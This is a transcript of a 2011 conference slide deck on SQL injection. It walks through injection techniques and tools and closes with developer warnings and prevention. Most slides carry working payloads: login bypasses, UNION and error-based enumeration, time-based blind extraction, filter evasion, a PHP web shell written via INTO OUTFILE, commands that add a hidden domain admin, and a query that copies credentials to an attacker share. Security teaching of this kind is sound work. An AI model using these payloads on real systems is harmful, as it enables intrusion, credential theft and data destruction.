YOU ARE DOWNLOADING DOCUMENT

Please tick the box to continue:

Transcript
Page 1: Not so blind SQL Injection

Not so blind SQL injectionFrancisco G. T. Ribeiro, 2011

1

Page 2: Not so blind SQL Injection

Roadmap• Intro

• Anatomy

• Flavors

• Demo

• Developer Warnings

• Prevention and Countermeasures

2

Page 3: Not so blind SQL Injection

What’s on the news today?

• Mobile Security

• Cyber Warfare

• Security in the cloud

3

Page 4: Not so blind SQL Injection

time weapons

<XIII

<1980

<2030

...future

bows and arrows

cannons and explosives

keyboards and mice

stones and sticks

Weapons of War

4

Page 5: Not so blind SQL Injection

While you travel in the clouds in a galaxy close, close by...

5

Page 6: Not so blind SQL Injection

Somebody has been having WAY too much fun!

6

Page 7: Not so blind SQL Injection

World Wide Web

7

Page 8: Not so blind SQL Injection

targets on the web

• Web server infrastructure

• Web application

• Web clients

8

Page 9: Not so blind SQL Injection

The Open Web Application Security Project

9

Page 10: Not so blind SQL Injection

OWASP Top 10 Web Application Security risks for 2010

10

Page 11: Not so blind SQL Injection

risk of SQL Injection in web apps

Exposition

Impact

Ease of exploitation

HIGH

HIGH

AVERAGE

11

Page 12: Not so blind SQL Injection

SQL Injection:WTF?

true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()), pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(), pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass)))

12

Page 13: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);

13

Page 14: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

Robert’); DROP Table Students;--

SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);

I’ll be back...14

Page 15: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

Prefix

Robert’); DROP Table Students;--

SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);

I’ll be back...14

Page 16: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

Prefix

Robert’); DROP Table Students;--

Payload

SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);

I’ll be back...14

Page 17: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

Prefix

Robert’); DROP Table Students;--

Payload Suffix

SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);

I’ll be back...14

Page 18: Not so blind SQL Injection

SQL Injection: probing - baby steps

• ‘

• “

• %

• ;--

• -123

• 19243890184023408912908348902390412301923

• #

• /**/

• )

15

Page 19: Not so blind SQL Injection

Developer Warning #01

Database Results ErrorDescription: Erro de sintaxe na expressão de consulta '(Titulo LIKE '%'%' OR Descricao LIKE '%'%')'.Number: -2142216900 (0x81041E14)Source: Microsoft JET Database Engine

ERROR [TP-Processor14] portal.ExceptionHelper.[] Aug/11 22:57:06 - org.jasig.portal.PortalException: java.sql.SQLException: ORA-00933: SQL command not properly ended

Received an exception:Error: SQLException java.sql.SQLException: ORA-01756: quoted string not properly terminated

handle error messages properly

16

Page 20: Not so blind SQL Injection

What flavors?

• Inband (Reflected)

• Out-of-band

• Inferential (Blind)

17

Page 21: Not so blind SQL Injection

SQL Injection:the claws

• groundspeed (Firefox extension)

• Tamper Data (Firefox extension)

• Firebug (Firefox extension)

• Hackbar (Firefox extension)

• Hacker Firefox

18

Page 22: Not so blind SQL Injection

Developer Warning #02Validate your inputs

do not trust in code executed in the Client side

validation should be done Server side

My name is Mohammed JaLaScript and I swear

I’m innocent!

19

Page 23: Not so blind SQL Injection

SQL Injection:the blades

• sqlmap

• sqlbrute

• absinthe

• BSQLBD

• bsqlishell

• sqlninja

• sql power injector

20

Page 24: Not so blind SQL Injection

SQL Injection:the shotguns

• burp suite

• Netsparker

• WebInspect

• Acunetix Web Vulnerability Scanner

• Webscarab

• w3af

21

Page 25: Not so blind SQL Injection

SQL Injection:the dojos

• OWASP webgoat

• Hacme series from Foundstone

• Damn Vulnerable Web App

• BadStore

• Multillidae

22

Page 26: Not so blind SQL Injection

what can you do with SQL injection?

• information disclosure

• authentication bypass

• execute remote commands

• data corruption

• denial of service

• remote file inclusion

• cross site scripting

• DNS hijacking

• massive malware diffusion

• privilege escalation

23

Page 27: Not so blind SQL Injection

Authentication bypass#02 - RitsBlog

http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1

In jobs.php: if ($_GET[j] == "login"){

if ($blog -> login($_GET[p])){$_SESSION[loggedin] = "ok";$_SESSION[userID] = $blog -> userID;echo "Password found. Loging in...";...

 In ritsBlogAdmin.class.php: function login($password){

global $db;$sql = "select * from users where secretWord = '$password'";...

}

24

Page 28: Not so blind SQL Injection

Tautology basedSQL injection

• admin' --

• admin' #

• admin'/*

• ' or 1=1--

• ' or 1=1#

• ' or 1=1/*

• ') or '1'='1--

• ') or ('1'='1--

• having 1=1

• Group By ID having 1=1

• a very big number

• ...

25

Page 29: Not so blind SQL Injection

Authentication bypass #03 - CS Cart (cookies)

In /core/user.php: 

if (fn_get_cookie(AREA_NAME . '_user_id')) {$udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users] WHERE user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'

       AND password='".fn_get_cookie(AREA_NAME . '_password')."'");        fn_define('LOGGED_VIA_COOKIE', true);}

Cookie:cs_cookies[customer_user_id]=1'/*;

26

Page 30: Not so blind SQL Injection

Malware Inclusion#04 - United Nations

<option value="index.asp?OrgID=71">Department of Peacekeeping Ope<script src=http://www.nihaorr1.com/1.js></script></option>

27

Page 31: Not so blind SQL Injection

One browser, many holes

28

Page 32: Not so blind SQL Injection

One browser, many holes • JavaScript

• Flash

• Java

• Silverlight

• ActiveX

• HTML 4

• HTML 5

• RDF

• WebDAV

• SOAP

• PDF

• Images

• Shockwave

• CSS

• Realplayer

• h.264/MPEG/AVI/WMV

• SVG

• browser extensions

• bookmarklets

• FTP/SFTP client

• SAMBA client

• widgets crazyness

• RSS/ATOM

• RTF

• AJAX

• download manager

• keychain manager

• file manager

• mail client

• XML non sense

28

Page 33: Not so blind SQL Injection

Data corruption#05 - PBS.org defacement

(fake Tupac article)

29

Page 34: Not so blind SQL Injection

What channelsallow SQL Injection?

30

Page 35: Not so blind SQL Injection

What channelsallow SQL Injection?

30

Page 36: Not so blind SQL Injection

What channels allow SQL Injection?

31

Page 37: Not so blind SQL Injection

What channels allow SQL Injection?

• HTTP methods GET/POST

• HTTP headers

• AJAX

• JSON

• XML

• SOAP

• Cookies

• ...

31

Page 38: Not so blind SQL Injection

-7 UNION SELECT 1,2,version(),4,user(),database(),7,8,9,10,11,12,13

Union based#06 - juventud.gov.ar

32

Page 39: Not so blind SQL Injection

-7 UNION SELECT 1,2,version(),4,user(),database(),7,8,9,10,11,12,13

Union based#06 - juventud.gov.ar

32

Page 40: Not so blind SQL Injection

Union based#06 - juventud.gov.ar

32

Page 41: Not so blind SQL Injection

Union basedSQL Injection - dirty tricks

http://example/index.php?id=1 ORDER BY 1--http://example/index.php?id=1 ORDER BY 2-- http://example/index.php?id=1 ORDER BY 3-- http://example/index.php?id=1 ORDER BY 4-- http://example/index.php?id=1 ORDER BY 5-- http://example/index.php?id=1 ORDER BY 6-- ...

getting the number of columns in the selection

33

Page 42: Not so blind SQL Injection

Union basedSQL Injection - dirty tricksMySQL:Unknown column 'NUM' in 'order clause'

PostgreSQL:ORDER BY position NUM is not in select list

Microsoft SQL Server:The ORDER BY position number NUM is out of range of the number of items in the select list

Oracle:ORA-01785: ORDER BY item must be the number of a SELECT-list expression

34

Page 43: Not so blind SQL Injection

Union basedSQL Injection - dirty tricks

• 1 UNION select 1,’2’,3,’4’,5,6,7,8

• -1 UNION select 1,2,version(),4,user(),database(),7,8

• -1 UNION ALL select NULL,NULL,version(),NULL,user(),database(),NULL,NULL

• -1 UNION ALL select NULL,NULL,NULL,NULL, NULL,UNHEX(HEX(version())),NULL,NULL--

MySQL

avoid distinct

selections

avoid collations conflicts

isolate contents

avoid extra SQL mess

testing datatypes string/int

35

Page 44: Not so blind SQL Injection

Union basedSQL Injection - dirty tricks

• -1 UNION ALL select 1,2,table_name from information_schema.tables

• -1 UNION ALL select NULL,NULL,table_name from information_schema.tables

• -1 UNION ALL select 1,2,column_name from information_schema.columns limit 0,1

limit 1,1limit 2,1

MySQL

avoid incompatible

types

avoid single record view restriction

you may also try group_concat() for multiple rows

as a string36

Page 45: Not so blind SQL Injection

Union basedSQL Injection - dirty tricks

• -7 union all select 1,2,concat(username,0x3a,password)from admin/*

• -7 union all select 1,2 concat(user,0x3a,pass,0x3a,email) from users/*

MySQL

concat is your friend

37

Page 46: Not so blind SQL Injection

Developer Warning #03

SELECT/**/password/**/FROM/**/Members

SELECT+password+FROM+Members

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

SELECT LOAD_FILE(0x633A5C626F6F742E696E69)

SeLeCt

SELSELECTECT

%53%45%4c%45%43%54

%2553%2545%254c%2545%2543%2554

filtering and blacklisting are weak

strings without white spaces

blacklisted words

these count as SELECT too!

string without quotes

38

Page 47: Not so blind SQL Injection

Developer Warning #04filtering and blacklisting are weak

• ModSecurity

• PHPIDS

• GreenSQL

• ... suggested reading:SQLi filter evasion and obfuscation

by Johannes Dahse, Prague, Czech Republic

You’re the weak!

39

Page 48: Not so blind SQL Injection

Error basedSQL Injection

• http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))--

Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))--

Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))--

Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int.

SQL Server

40

Page 49: Not so blind SQL Injection

Error basedSQL Injection - dirty tricks

• http://[site]/page.asp?id=convert(int,(select top 1 name from sysobjects where xtype=char(85)))--

Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.

• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1'))--

Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.

• http://[site]/page.asp?id=1  or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1' and name <>'TABLE-NAME-2'))--

Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.

SQL Serveravoid quote filtering

avoid single record view restriction

41

Page 50: Not so blind SQL Injection

Error basedSQL Injection

• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))--

Syntax error converting the nvarchar value '[COLUMN NAME  1]' to a column of data type int.

SQL Server

knowing DB_NAME and TABLE-NAME...

...

42

Page 51: Not so blind SQL Injection

Stacked StatementsSQL Injection

• z'; UPDATE Login SET PasswordHash ='0fa5fed80fc582282430f9a79cb2669e', Salt = 'Daniels' WHERE login = 'BigCatAccount'--

• y'; UPDATE Login SET ProfileID = 1 WHERE login = 'MyAccount' --     

• z'; UPDATE Login SET EmailAddr ='[email protected]' WHERE login = 'BigCatAccount'--

Bypassing authentication and escalating privileges(schema/DBMS dependant)

Jack

43

Page 52: Not so blind SQL Injection

Stacked StatementsSQL Injection

Bypassing authentication and escalating privileges(schema/DBMS dependant)

suggested reading:Advanced SQL Injection

by Joe McCray, Learn Security Online

43

Page 53: Not so blind SQL Injection

Second OrderSQL Injection

injection doesn’t occur at the same time of execution

PHP Basic Schoolstudent registration form

‣ User:

‣ Birthday:

‣ Phone:

‣ Email:

Robert’); DROP TABLE Students;--

11/02/87

931231631

bobby’); DROP TABLE google_emails;[email protected]

44

Page 54: Not so blind SQL Injection

Second OrderSQL Injectioninjection doesn’t occur

here, yet..

user Robert’); DROP TABLE Students;-- successfully created!

registration successful

45

Page 55: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

SELECT (user,first_name,last_name)FROM Students WHERE (user == ’$user’);

told ya.

there goes

listing students

46

Page 56: Not so blind SQL Injection

SQL Injection:#01 - Bobby Tables

SELECT (user,first_name,last_name)FROM Students WHERE (user == ’$user’);

told ya.

there goes

suggested reading:Advanced SQL Injection In SQL Server Applications

Chris Anley, NGSSoftware

listing students

46

Page 57: Not so blind SQL Injection

Remote command execution

• '; exec master..xp_cmdshell 'ping 192.168.1.8'--

tcpdump icmp

• UNION SELECT 0x3c3f2073797374656d28245f4745545b27636d64275d293b203f3e,2,3 INTO OUTFILE "/var/www/cmd.php" --

”<? system($_GET['cmd']); ?>"

(DBMS dependent)

47

Page 58: Not so blind SQL Injection

Remote command execution

net user [USER] [Pass] /add &net Localgroup Administrators [USER] /add &net group "Domain Admins" [USER] /add &net localgroup "Remote Desktop Users" [USER] /add &reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v [USER] /t REG_DWORD /d 0

(DBMS dependent)

47

Page 59: Not so blind SQL Injection

Remote command execution

• Bruteforce the 'sa' password and escalate privileges using local or remote server CPU!

• Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound

• Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it

• Disable DEP, if needed!

• Start the executable, inject the DLL and have fun!

48

Page 60: Not so blind SQL Injection

Remote command execution

• Bruteforce the 'sa' password and escalate privileges using local or remote server CPU!

• Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound

• Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it

• Disable DEP, if needed!

• Start the executable, inject the DLL and have fun!

suggested reading:Building the bridge between the

web app and the OS:“GUI access through SQL Injection”,

Alberto Revelli,Portcullis Computer Security

48

Page 61: Not so blind SQL Injection

information disclosure/bypassing authentication

• select user,pass into outfile ‘\\\\attacker_share\\output.txt’ from users;

• select load_file(‘/etc/passwd’)

(DBMS dependent)

49

Page 62: Not so blind SQL Injection

Developer Warning #05

I’m root so I MUST be the King!

least privilege, user segregation

50

Page 63: Not so blind SQL Injection

Blind SQL Injection

• (In)visibility testing

• time delay

51

Page 64: Not so blind SQL Injection

Blind SQL Injection

• (In)visibility testing

• time delay

51

Page 65: Not so blind SQL Injection

Blind SQL Injection

• http://[site]/news.php?id=112

• http://[site]/news.php?id=112 and 1=2

• http://[site]/news.php?id=112 and 1=1

• http://[site]/news.php?id=112 and IF(XXX)

(In)visibility testing

52

Page 67: Not so blind SQL Injection

Blind SQL Injection

• ;IF(LEN(DB_NAME())=1) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=2) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=3) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=4) WAITFOR DELAY '0:0:5'--

• ;IF(LEN(DB_NAME())=5) WAITFOR DELAY '0:0:5'--

getting DB_NAME() length

54

Page 68: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'--

getting DB_NAME()

sql query

55

Page 69: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'--

SUBSTRING ( value_expression , start_expression , length_expression )

getting DB_NAME()

sql query

55

Page 70: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- =49

=50=...=122

1

SUBSTRING ( value_expression , start_expression , length_expression )

getting DB_NAME()

sql query

55

Page 71: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- =49

=50=...=122

23.N

LEN(DB_NAME())

12

SUBSTRING ( value_expression , start_expression , length_expression )

getting DB_NAME()

position in string

position in ASCII table

sql query

55

Page 72: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(lower(substring((DB_NAME()),1,1)))>97) WAITFOR DELAY '0:0:5'-- >110

>105=106=...

23.N

LEN(DB_NAME())

12

getting DB_NAME()

optimization 1optimization 2

=109

56

Page 73: Not so blind SQL Injection

Blind SQL Injection

;IF(ASCII(lower(substring((DB_NAME()),1,1)))>94) WAITFOR DELAY '0:0:5'-- <110

<105=106=...

23.N

12

getting DB_NAME()

splitting target domain by 2

(think of quicksort)

=109

prioritize most frequent chunks of ASCII table in the target language

57

Page 74: Not so blind SQL Injection

Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'--

• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE-NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'--

...

listing table names

58

Page 75: Not so blind SQL Injection

Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'--

• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE-NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'--

12

12

...

listing table names

58

Page 76: Not so blind SQL Injection

Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'--

• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME' AND column_name <> ‘COLUMN-NAME-1’),1,1)))=117) WAITFOR DELAY '0:0:5'--

...

listing column names (or any other table)

59

Page 77: Not so blind SQL Injection

Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'--

• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME' AND column_name <> ‘COLUMN-NAME-1’),1,1)))=117) WAITFOR DELAY '0:0:5'--

12

1

2

...

listing column names (or any other table)

row

table

field denial

59

Page 78: Not so blind SQL Injection

Blind SQL Injectionwith Regular Expressions• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE

TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)

MySQL - listing table names

60

Page 79: Not so blind SQL Injection

Blind SQL Injectionwith Regular Expressions

• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1)

The first character of the table is 'n'. But are there other table names starting with 'n'?

that’s our move

61

Page 80: Not so blind SQL Injection

Blind SQL Injectionwith Regular Expressions

now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->

FALSE

you can confirm by testing: '^news$'

62

Page 81: Not so blind SQL Injection

Blind SQL Injectionwith Regular Expressions

suggested reading:Blind Sql Injection with Regular

Expressions Attack,R00T_ATI & white_sheep,

IHTeam

now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->

FALSE

you can confirm by testing: '^news$'

62

Page 82: Not so blind SQL Injection

Deep Blind SQL Injection

DECLARE @x as int; DECLARE @w as char(6);

SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST(QUERY"as varbinary(8000))),POSITION",1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w

2 requests -> one byte

63

Page 83: Not so blind SQL Injection

Deep Blind SQL Injection

DECLARE @x as int; DECLARE @w as char(6);

SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST(QUERY"as varbinary(8000))),POSITION",1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w suggested reading:

Deep Blind SQL Injection,Ferruh Mavituna,

Portcullis Computer Security

2 requests -> one byte

63

Page 84: Not so blind SQL Injection

Deep Blind SQL Injection

SQL Server2 requests -> one byte (avg <6 secs)

SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) <94! THEN WAITFOR DELAY '0:0:6' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <100 ! THEN WAITFOR DELAY '0:0:1' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <105 ! THEN WAITFOR DELAY '0:0:2' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <111 ! THEN WAITFOR DELAY '0:0:3' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <117! THEN WAITFOR DELAY '0:0:4' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <123! THEN WAITFOR DELAY '0:0:5' --

higher frequencysmaller delays

64

Page 85: Not so blind SQL Injection

Deep Blind SQL Injection

SQL Server2 requests -> one byte (avg <6 secs)

SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) =100! THEN WAITFOR DELAY '0:0:1' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =101 ! THEN WAITFOR DELAY '0:0:2' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =102 ! THEN WAITFOR DELAY '0:0:3' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =103 ! THEN WAITFOR DELAY '0:0:4' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =104! THEN WAITFOR DELAY '0:0:5' --

knowing it’s in range 100:104...

65

Page 86: Not so blind SQL Injection

SQL injection techniques

• Stacked statements

• Tautology based

• Union based

• Error based

• Second Order

• Blind

66

Page 87: Not so blind SQL Injection

SQL injection techniques

• Stacked statements

• Tautology based

• Union based

• Error based

• Second Order

• Blind

suggested reading:SQL Injection,

Classification of SQL Injection Attacking Vector, till 2010,

Wikipedia

66

Page 88: Not so blind SQL Injection

Developer Warning #06ORMs are not bulletproof

Payment payment = (Payment) session.find("from com.example.Payment as payment where payment.id = " + paymentIds.get(i));

Hibernate (HDL):

injectable!

67

Page 89: Not so blind SQL Injection

Developer Warning #07Keep it simple, not stupid

68

Page 90: Not so blind SQL Injection

SQL injection: countermeasures

• avoid internal details on error reporting

• Use Web Applicational Firewall

• Limit web server/database perms

• segregate users

• use No-SQL

69

Page 91: Not so blind SQL Injection

Developer Warning #08when less is more

70

Page 92: Not so blind SQL Injection

How to prevent SQL Injection attacks?

• Sanitize the input

• input whitelisting

• Use prepared statements

• Use stored procedures

71

Page 93: Not so blind SQL Injection

Prepared Statements akaParameterized queries (Java)

String sqlquery = "select * from Students where FirstName " + "in(?,?,?)";

  pst = con.prepareStatement(sqlquery);

  pst.setString(1, "John"); pst.setString(2, "Achmed");  pst.setString(3, "Gremlin");

  rs = pst.executeQuery();

72

Page 94: Not so blind SQL Injection

References• SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech

Republic

• Advanced SQL Injection by Joe McCray, Learn Security Online

• Advanced SQL Injection In SQL Server Applications, Chris Anley, NGSSoftware

• Building the bridge between the web app and the “GUI access through SQL Injection”,Alberto Revelli, Portcullis Computer Security

• Blind Sql Injection with Regular Expressions Attack, R00T_ATI & white_sheep, IHTeam

• Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security

73

Page 95: Not so blind SQL Injection

References• SQL Injection, Classification of SQL Injection Attacking

Vector, till 2010, Wikipedia

• www.evilsql.com

• Replaying with Blind SQL Injection, Chema Alonso and Palako

• Haxxor Security: Speeding up Blind SQL Injection using Conditional errors in MySQL

• The Web Application Hackers Handbook, Discovering and Exploiting Security Flaws, Wiley

74

Page 96: Not so blind SQL Injection

Thank youchildish wont-let-go nickname: blackthorne

blackthorne (geek) bthorne_daily (social)

[email protected] (PGP key: 0xBDD20CF1)

http://www.digitalloft.org (homepage)

75


Related Documents